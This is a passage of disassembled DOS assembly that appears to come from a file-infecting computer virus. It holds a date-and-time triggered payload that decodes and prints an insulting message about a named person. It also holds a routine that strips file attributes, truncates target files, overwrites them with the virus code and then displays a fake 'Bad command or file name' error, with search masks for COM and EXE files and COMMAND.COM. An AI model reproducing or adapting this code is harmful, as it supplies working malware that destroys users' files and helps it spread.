- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_27 proc near
- mov ah,2Ah ; '*'
- int 21h ; DOS Services ah=function 2Ah
- ; get date, cx=year, dx=mon/day
- test dl,3
- jnz loc_ret_33 ; Jump if not zero
- mov ah,2Ch ; ','
- int 21h ; DOS Services ah=function 2Ch
- ; get time, cx=hrs/min, dh=sec
- test dh,3
- jnz loc_ret_33 ; Jump if not zero
- mov cx,47h
- mov si,data_1e ; (009D:0446=10h)
- add si,bp
- mov di,si
-
- locloop_32:
- lodsb ; String [si] to al
- sub al,80h
- stosb ; Store al to es:[di]
- loop locloop_32 ; Loop if cx > 0
-
- mov ah,9
- mov dx,data_1e ; (009D:0446=10h)
- add dx,bp
- int 21h ; DOS Services ah=function 09h
- ; display char string at ds:dx
-
- loc_ret_33:
- data_8 db 'Craig Murphy calls himself SUPER'
- db 'HACKER but he''s just a talentle'
- db 'ss Jerk!', 0Dh, 0Ah, '$'
-
- ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
-
- sub_28:
- mov al,0FFh
- cmp al,[bp+4EAh]
- je loc_34 ; Jump if equal
- retn
- loc_34:
- push word ptr ds:data_2e ; (8344:002C=0)
- pop es
- xor di,di ; Zero register
- mov al,1
- loc_35:
- scasb ; Scan es:[di] for al
- jnz loc_35 ; Jump if not zero
- inc di
- push es
- pop ds
- mov dx,di
- mov ax,4300h
- int 21h ; DOS Services ah=function 43h
- ; get/set file attrb, nam@ds:dx
- jc loc_36 ; Jump if carry Set
- mov es,cx
- mov ax,4301h
- xor cx,cx ; Zero register
- int 21h ; DOS Services ah=function 43h
- ; get/set file attrb, nam@ds:dx
- jc loc_36 ; Jump if carry Set
- mov ah,3Ch ; '<'
- int 21h ; DOS Services ah=function 3Ch
- ; create/truncate file @ ds:dx
- push ds
- push dx
- push cs
- pop ds
- mov dx,offset ds:[100h] ; (8344:0100=0E8h)
- mov bx,ax
- mov ah,40h ; '@'
- mov cx,9
- add cx,bp
- int 21h ; DOS Services ah=function 40h
- ; write file cx=bytes, to ds:dx
- pop dx
- pop ds
- mov cx,es
- mov ax,4301h
- int 21h ; DOS Services ah=function 43h
- ; get/set file attrb, nam@ds:dx
- loc_36:
- push cs
- pop ds
- mov ah,9
- mov dx,offset data_15+25h ; (8344:0521=0)
- add dx,bp
- int 21h ; DOS Services ah=function 09h
- ; display char string at ds:dx
- mov ah,4Ch ; 'L'
- int 21h ; DOS Services ah=function 4Ch
- ; terminate with al=return code
- data_9 db 0
- loc_37:
- call sub_29 ; (04F6)
- dec bp
- jnz $+74h ; Jump if not zero
- jo $+6Ah ; Jump if overflow=1
- jns loc_37 ; Jump if not sign
- sub_27 endp
-
-
- ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
- ; SUBROUTINE
- ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
-
- sub_29 proc near
- popf ; Pop flags
- add [bx+si],al
- add bl,[si+0]
- data_15 db '*.*', 0
- db '\^^^^^^^^', 0
- db 'COMMAND.COM', 0
- db '*.COM', 0
- db '*.EXE', 0
- db 'Bad command or file name', 0Dh, 0Ah
- db '$'
- db 6
- data_21 db 0
- sub_29 endp
-
-
- seg_a ends
-
-
-
- end start